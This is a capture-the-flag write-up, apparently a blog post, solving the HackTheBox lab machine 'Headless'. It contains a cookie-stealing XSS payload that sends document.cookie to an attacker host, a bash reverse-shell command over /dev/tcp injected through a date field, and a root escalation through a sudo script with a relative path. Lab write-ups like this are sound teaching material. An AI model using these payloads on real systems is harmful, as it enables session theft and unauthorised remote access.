Post

Headless HackTheBox

Box Info:

Headless is an Easy Linux box features a simple web application which is vulnerable to Blind-XSS, With a simple payload XSS in Request header can get admin cookie, which then can be used to authenticate, The admin dashboard is vulnerable to Command Injection which can be leveraged to get a shell on the box, User’s mail reveals a script which does not uses absolute path, which can be leveraged to get a root shell

Recon

Nmap

I’ll start off by running nmap to see what we are up against.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
[skido]➜ nmap -p- --min-rate=1000 10.129.233.92
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-30 13:01 EDT
Nmap scan report for 10.129.233.92
Host is up (0.11s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 71.66 seconds

[skido]➜ nmap -p 22,5000 -sCV 10.129.233.92
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-30 13:06 EDT
Nmap scan report for 10.129.233.92
Host is up (0.11s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Wed, 30 Oct 2024 12:06:48 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|          <SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.42 seconds

As usual 22 is running OpenSSH where 5000 is running Werkzeug/2.2.2 Python/3.11.2.

Website Port 5000

Looking at the results of nmap, we can see that Werkzeug is running on port 5000 which is setting a cookie is_admin. The HttpOnly is set to false which makes it easier to steal the cookie. Well website is down but when clicking For Questions leads us to /support which offers a contact form, but we can fuzz with ffuf to see if there is anything else.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
➜  ~ ffuf -u http://10.129.233.92:5000/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.233.92:5000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

support                 [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 116ms]
dashboard               [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 118ms]

contact

Well we can try to send xss payload in the message field and test it, But sadly when trying to send XSS payload in the contact form, it flags our IP Address:

flagged

Shell as dvir

Exploiting XSS

But there is some interesting information it reveals, when the IP gets flagged, the browser information gets sent to Admin. After testing for a while came to understand that </> are blocked. Since it displays everything about the browser info, Well when tried to inject something in User-Agent it also got displayed on the page.

header

When I tried injecting XSS payload into the User-Agent header (or whatever header) it’, processes it:

xss

Now that we have xss we can use a simple payload to steal the cookie of whoever is checking the reports.

1
2
3
4
5
<script>document.location='http://10.10.10.10/?'+document.cookie</script>

OR

<script>var i=new Image(); i.src="http://10.10.10.10/?c="+document.cookie;</script>

And after some moment we have the cookie on our webserver.

1
2
3
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.78 - - [30/Oct/2024 14:59:09] "GET /?c=
10.129.233.92 - - [30/Oct/2024 14:59:59] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -
1
ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

Dashboard

From the ffuf results saw that there is /dashboard, After updating the old cookie with the new one we just stole we have Administrator Dashboard, Where Admins can generate website health report.

generate_report

Command Injection

clicking on the Generate Report doesn’t show much, when looking at the request through burp, it’s just sending date, it could be just executing the date in the OS to just test when I tried sending it like this date=2023-09-15; id it worked, now we have command injection. let’s get a shell. I’ll use the simple bash reverse shell.

1
bash -c 'bash -i >& /dev/tcp/10.10.14.78/9001 0>&1'

But first we need to url-encode it.

1
bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.78/9001+0>%261'

And we got a shell as user dvir.

1
2
3
4
5
6
7
8
➜  ~ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.78] from (UNKNOWN) [10.129.233.92] 60588
bash: cannot set terminal process group (1176): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ 
dvir@headless:~$ wc -c user.txt
33 user.txt

Im_in_the_box

Shell as root

Enumeration

There is only root & dvir.

1
2
3
4
dvir@headless:~$ cat /etc/passwd | grep "bash"
root:x:0:0:root:/root:/bin/bash
dvir:x:1000:1000:dvir,,,:/home/dvir:/bin/bash
dvir@headless:~$

sudo -l tells that dvir can run syscheck as root.

1
2
3
4
5
6
7
8
dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

syscheck script

Also looked at /var/mail/dvir which provides information about the syscheck script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Subject: Important Update: New System Check Script

Hello!

We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.

What's special for you?
- You've been granted special privileges to use this script.
- It will help identify and resolve system issues more efficiently.
- It ensures that necessary updates are applied when needed.

Rest assured, this script is at your disposal and won't affect your regular use of the system.

If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.

By the way, we're still waiting on you to create the database initialization script!
Best regards,
Headless

Now let’s take a look at the syscheck script what it actually doing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
dvir@headless:/var/mail$ cat /usr/bin/syscheck
cat /usr/bin/syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

The script checks if the root is running it if not it exits, Then it takes the last modified time of vmlinuz from /boot and prints it with last modified time after that it prints the output of df -h, Then it takes the prints the output of uptime. Then via pgrep it looks for initdb.sh if it doesn’t finds it, it runs ./initdb.sh otherwise it prints.

1
2
3
4
5
dvir@headless:/var/mail$ sudo syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average:  0.00, 0.01, 0.00
Database service is not running. Starting it...

So the thing here is that it doesn’t uses an abouslute for initdb.sh which means it’s running from the directory where you running the syscheck script.

Exploiting the script

Now that we know it runs ./initdb.sh from the working directory we are in. I’ll make a simple initdb.sh in some writeable directory such as /dev/shm, make it executable & run sudo syscheck.

1
2
3
4
5
6
7
8
9
10
dvir@headless:/dev/shm$ echo "bash" > initdb.sh
dvir@headless:/dev/shm$ chmod +x initdb.sh
dvir@headless:/dev/shm$ sudo syscheck
sudo syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average:  0.00, 0.00, 0.00
Database service is not running. Starting it...
id
uid=0(root) gid=0(root) groups=0(root)

gifo

Now grab the root.txt and Enjoy!

1
2
root@headless:/dev/shm# cd /root && wc -c root.txt
33 root.txt

Thanks for reading, Have a great day.

PEPE

This post is licensed under CC BY 4.0 by the author.